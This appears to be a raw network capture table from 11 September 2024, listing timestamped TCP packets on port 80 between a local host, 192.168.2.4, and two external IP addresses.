Sep 11, 2024 16:22:18.161565065 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.161597967 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161616087 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161628008 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161629915 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.161629915 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.161639929 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161664963 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.161679029 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.161715031 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161725998 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161736965 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161758900 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.161773920 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.161864042 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161875010 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161886930 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161899090 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161899090 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.161910057 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.161914110 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.161931992 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.161943913 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.163471937 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.163482904 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.163494110 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.163511992 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.163522005 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.163523912 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.163536072 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.163548946 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.163562059 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.163562059 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.163578033 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.163594007 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.165306091 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.165318012 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.165328979 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.165347099 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.165369987 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.165375948 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.165384054 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.165395975 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.165407896 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.165415049 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.165442944 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.165606022 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.166207075 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.173779964 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.173793077 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.173804998 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.173839092 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.173871040 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.173954010 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.173964977 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.173975945 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.173985958 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.173986912 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.174019098 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.174041986 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.181432009 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.181443930 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.181457043 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.181468010 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.181478977 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.181494951 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.181524038 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.181524038 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.181538105 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.181549072 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.181626081 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.181626081 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.182842970 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.182856083 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.182866096 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.182928085 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.182928085 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.182943106 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.182954073 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.182965994 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.182986021 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.182988882 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.183003902 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.183011055 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.183041096 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.183064938 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.183077097 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.183088064 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.183113098 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.183120966 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.183132887 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.183136940 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.183145046 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.183160067 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.183172941 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.183198929 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.183442116 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.183453083 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.183464050 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.183490992 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.183505058 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.183511972 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.183523893 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.183533907 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.183547974 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.183548927 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.183563948 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.183594942 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.183892012 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.183909893 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.183921099 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.183928967 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.183940887 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.183947086 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.183959961 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.183991909 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.184073925 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.184086084 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.184103012 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.184113979 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.184113979 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.184128046 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.184143066 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.184143066 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.184148073 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.184159994 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.184171915 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.184176922 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.184184074 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.184206963 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.184232950 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.189204931 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.189217091 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.189227104 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.189244986 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.189256907 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.189265013 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.189296007 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.189297915 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.189311981 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.189323902 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.189352036 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.189363003 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.189392090 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.189404011 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.189416885 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.189435959 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.189441919 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.189450026 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.189460993 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.189466000 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.189487934 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.189517975 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.189902067 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.189913034 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.189924955 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.189949989 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.189964056 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.189980984 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.189992905 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.190022945 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.190031052 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.190036058 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.190066099 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.190076113 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.190077066 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.190088034 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.190116882 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.190145016 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.190160036 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.190171957 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.190182924 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.190198898 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.190222025 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.190273046 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.190336943 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.190840960 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.190851927 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.190864086 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.190895081 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.190918922 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.190939903 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.190951109 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.190962076 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.190973997 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.190989017 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.191021919 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.191026926 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.191039085 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.191051006 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.191075087 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.191087008 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.191121101 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.191132069 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.191160917 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.191226959 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.191237926 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.191277981 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.191328049 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.191339016 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.191355944 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.191365004 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.191370964 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.191414118 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.191446066 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.191457987 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.191469908 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.191481113 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.191487074 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.191493988 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.191509008 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.191540003 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.191565037 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.191576958 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.191589117 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.191602945 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.191629887 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.191668034 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.191679001 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.191689968 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.191704988 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.191714048 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.191725016 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.191749096 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.191802979 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.191816092 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.191824913 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.191862106 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.192176104 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.192187071 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.192203999 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.192223072 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.192234993 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.192265987 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.192276955 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.192286968 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.192308903 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.192322969 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.192327976 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.192358971 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.192617893 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.192627907 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.192639112 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.192648888 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.192667961 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.192667961 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.192679882 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.192692995 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.192697048 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.192703962 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.192718029 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.192732096 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.192759037 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.193106890 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.193118095 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.193129063 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.193150997 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.193178892 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.193178892 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.193190098 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.193202019 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.193213940 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.193223000 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.193227053 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.193240881 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.193257093 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.193712950 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.193723917 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.193734884 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.193752050 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.193780899 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.193799019 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.193809986 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.193820953 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.193831921 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.193841934 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.193844080 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.193862915 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.193878889 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.194113016 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.194152117 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.194191933 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.194211006 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.194221973 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.194227934 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.194241047 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.194257021 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.194303989 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.194314957 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.194327116 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.194346905 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.194374084 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.194705963 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.194745064 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.194781065 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.194792032 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.194812059 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.194839954 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.194865942 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.194879055 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.194890022 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.194902897 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.194916964 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.194917917 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.194927931 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.194957972 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.195063114 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.195080996 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.195091009 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.195105076 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.195120096 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.195128918 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.195141077 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.195171118 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.195185900 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.195257902 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.195269108 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.195276022 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.195302963 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.195663929 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.195708036 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.195719004 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.195741892 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.195763111 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.195766926 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.195780039 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.195791960 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.195802927 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.195812941 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.195839882 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.195902109 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.195913076 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.195923090 CEST	80	49736	176.113.115.33	192.168.2.4
